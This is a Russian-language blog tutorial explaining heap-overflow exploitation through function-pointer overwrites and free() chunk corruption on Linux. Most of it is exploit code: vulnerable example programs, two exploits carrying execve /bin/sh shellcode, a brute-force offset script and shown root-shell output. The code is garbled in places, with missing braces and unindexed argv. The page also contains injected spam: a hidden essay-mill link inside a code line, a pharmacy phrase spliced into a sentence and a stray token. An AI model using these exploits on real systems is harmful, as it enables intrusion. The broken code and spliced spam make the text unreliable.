Monday, October 16th, 2017

Как работают эксплоиты на основе heap overflow

Published on Апрель 23, 2009 by   ·   Комментариев нет

1. Почему была написана статья.
2. Описание ошибки.
3. Уязвимая программа (пример и exploit для неё)
4. Реальный пример эксплоита.

1. Большое количество эксплоитов было зарелизено в последнее время.
Некоторые из них основаны на технологии перезаписи указателя
функции(function pointer), позволяющей выполнить шеллкод на стеке или
куче. Вот самые известные из последних эксплоитов, использующие данную
технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo,
sshchan.

Тысячи серверов по всему миру были взломаны. В большинстве случаев эти
эксплоиты использовались так называемымиsсriptkiddie`s, которые не
имеют представления о том, как они работают и что делают. В связи с
этим я попытаюсь рассказать о технике перезаписи указателя функции в
деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда
вы закроете свой «вьювер» =) вы станете просвящены в данном вопросе.

2. Лучший способ разобраться в проблеме — рассмотреть пример уязвимой
программы.

Давайте взглянем на следующий код:

#include <stdio.h>
#include <string.h>

main()
{
unsigned long difference;
char *buffer1,*buffer2;

*buffer1 = (char *)malloc(16)

*buffer2 = (char *)malloc(16);
difference = (unsigned long)buffer2 - (unsigned long)buffer1;
memset(buffer2, &#039;A&#039;, 15), buffer2[15] = &#039;\0&#039;;
memset(buffer1, &#039;B&#039;, (unsigned int)(difference + 8));
}

После компиляции и выполнения наши буферы будут содержать следующее:

До переполнения:

buffer2=AAAAAAAAAAAAAAAA

После:

buffer2=BBBBBBBBAAAAAAAA

Buffer1 «вылез» за свою границу в пространство зарезервированное для
buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого
указателя, выполнить шеллкод.

Посмотрите на следующий код:

expl.c

#include <stdio.h>
#include <string.h>
int function(const char *argument);

int main(int argc, char **argv)
{
static  char buf[128];
static int (*funcptr)(const char *argument);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s [buffer] [function argument]\n", argv[0]);
exit(1);
 

funcptr = (int (*)(const char *argument))function;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv, strlen(argv));
(void)(*funcptr)(argv);
return 0;
 

int function(const char *argument)
{
printf("\nArgument is: %s\n", argument);
return 0;

Разберемся, что он делает. Получает 2 аргумента. Первый аргумент —
строка вызывающая переполнение, второй — будет запускать нашу функцию.
Наша функция будет выводить на экран. Как мы можем «эксплуатировать»
это ? Очень просто. Используем первую строку, которая может быть
произвольно большой длины для перезаписи указателя функции и
заставляем его указывать на шеллкод, расположенный в «куче». Конечно,
мы можем разместить наш шеллкод в первом аргументе программы, подобно
классическому buffer overflow, но тогда сложнее получить адрес
возврата, да и многие системы сегодня уже не имеют выполнимого стека.

К примеру, я использую StackGuard для защиты своей системы от такого
нападения.

Теперь приступим к написанию эксплоита.

3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.

static char buf[128];

Итак, под буфер отводится 128 байт.
Легко заметить, в моем первом примере, что вылезая за границы буфера в
место, отведенное под heap-переменную, можно перезаписать указатель
функции на адрес нашего шеллкода. Получается что-то вроде этого:

{AAAAAAAA...AAAAAAAAAAAAA {shellcode address {NULL byte
128 bytes of crap        4 bytes long       1 byte

Видно, что длина буфера эксплоита должна быть 128+4+1 байт.

char buf[128 + sizeof(unsigned long) + 1];

Тогда верхний адрес будет определен так:

sysaddr = (unsigned long)sbrk(0)

Будем вычитать пока не сорвем джек-пот ;) :

sysaddr = (unsigned long)sbrk(0) - atoi(argv);

Если размер шеллкода превышает размер нашего буфера — тогда на выход:

if (128 + 4 + 1 < strlen(shellcode))exit(1);

Если всё ОК, поместим наш шеллкод в буфер:

strcpy(buf, shellcode);

После шеллкода добавим мусора… Это будет последовательность ААА.. ,
также определим NULL'евой байт, который выступает в роли завершителя
строки:

memset(buf + strlen(shellcode), &#039;A&#039;,128 - strlen(shellcode) +
<div style="display: none"><a href='http://write-my-essay-for-mee.com/' title='write my paper'>write my paper</a></div>sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = &#039;\0&#039;;

Теперь в конец «разрешенных» 128 байт, запишем адрес возврата
шеллкода, задом-наперед, не забыв про то, что работаем с linux,
который использует формат little endian.

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;

Например, если адрес — 0xffff5467, то запишем — 6754ffff. Далее,
передаем наш шеллкод, как аргумент функции. Когда указатель функции
будет перезаписан нашим буфером, shellcode будет выполнен.

execl("./expl","expl", buf, shellcode, NULL);

Объединим все сказанное в небольшую программу:

go.c

#include <stdio.h>
#include <string.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

main(int argc, char **argv)
{
register int i;
unsigned long sysaddr;
char buf[128 + sizeof(unsigned long) + 1];

if (argc <= 1)
{
printf("\nUsage: %s [offset]\n", argv[0]);
exit(1);
 

sysaddr = (unsigned long)sbrk(0) - atoi(argv);
if (128 + 4 + 1 < strlen(shellcode))
exit(1);

strcpy(buf, shellcode);
memset(buf + strlen(shellcode), &#039;A&#039;,128 - strlen(shellcode) + sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = &#039;\0&#039;;

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;

execl("./expl","expl", buf, shellcode, NULL);
return 0;
}

Для того, чтобы получить шелл, вы должны выполнить exploit с
параметром offset. Таким образом ./go [offset] . Я создал маленький
скрипт, делающий это для вас. Назовите его sсript.

#!/bin/bash
i=0
while [ $i -lt 1000 ]; do
i=`expr $i + 1`
./go $i
echo $i
done

Выполните его:

root@localhost~# shsсript
..........
sh-2.5#

Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости,
которая широко распространена в реальной жизни.

4. Здесь я рассмотрю пример перезаписи указателя функции free(),
конкретно то, что встречается в реальных условиях. Это точно такая же
техника, на которой построены эксплоиты foros sobre compra de viagra для openssh-2.9* for freebsd и
openssl apache exploit.

Смотрим:

Для понимания того, что будет написано далее, необходимо знать как
работает функция free(). Объяснение её работы выходит за рамки данной
статьи, читайте MAN`ы. Вот подходящий для «эксплуатации» код:

#include <stdio.h>
#define BUFSIZE 56
int main(int argc, char **argv)
{

char *buf1, *buf2;

if(argc == 1) {
printf("\nUsage: %s [string].\n",argv[0]);
return(0);
}

buf1 = (char *) malloc(BUFSIZE);
buf2 = (char *) malloc(BUFSIZE);

strcpy(buf2,"AAAAAAAAAAAAAAAA");
strcpy(buf1, argv);

printf("\n%s\n", buf1);

free(buf2);
free(buf1);

return(0);

}

Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если
строка более 56 символов, разрешенных для аргумента, то она
перезапишет часть buf2. Мы должны заменить первые 8 байт, для того,
чтобы «эксплуатировать» эту программу по стандартной схеме:

[BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер
buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4
bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1
-4(указатель на перезаписываемую область)] [return addy(адрес  возврата)]
[jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)]
[bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)]
ptr to overwrite lоcation - адрес функции free(), его можно узнать

так:

objdump -R vulnerable_program_binary | grep free

Адрес возврата — адрес шеллкода, обычно можно узнать брутфорсом.
Далее приведен эксплоит, построенный по показанной схеме:

#include <stdio.h>

main(int argc,char **argv)
{
unsigned long sysaddr=0x0804968c-12/* free() address-16-4 */
unsigned long retaddr;                /* shellcode address */
int i;
char buf[1000];
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

strcpy(buf,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* 56 chars */
strcat(buf,"\xf0\xff\xff\xff");                   /* [previous size of buf2] */
strcat(buf,"\xfc\xff\xff\xff");                   /* [size of buf2] */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc");   /* 8 bytes of shit */
strcat(buf,"\xfc\xff\xff\xff");                   /* [ptr safe 4 bytes] */
strcat(buf,"\xfc\xff\xff\xff");                   /* [ptr safe 4 bytes] */
buf[56+4+4+8+4+4 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
/* [ptr to overwrite lоcation - bufsize1 -4] */
retaddr=sysaddr+atoi(argv);
buf[56+4+4+8+4+4+4+ i] = ((unsigned long)retaddr >> (i * 8)) & 255;
strcat(buf,"\xeb\x0c\x90\x90"); /* jump ahead 12 bytes */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc");
/* [bufsize1-4 bytes of crap] */
strcat(buf,shellcode); /* shellcode */

execl("./a","a",buf, NULL); /* blow them baby */
}
zp8497586rq















































Смотрите также:

Readers Comments (Комментариев нет)

Comments are closed.

Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]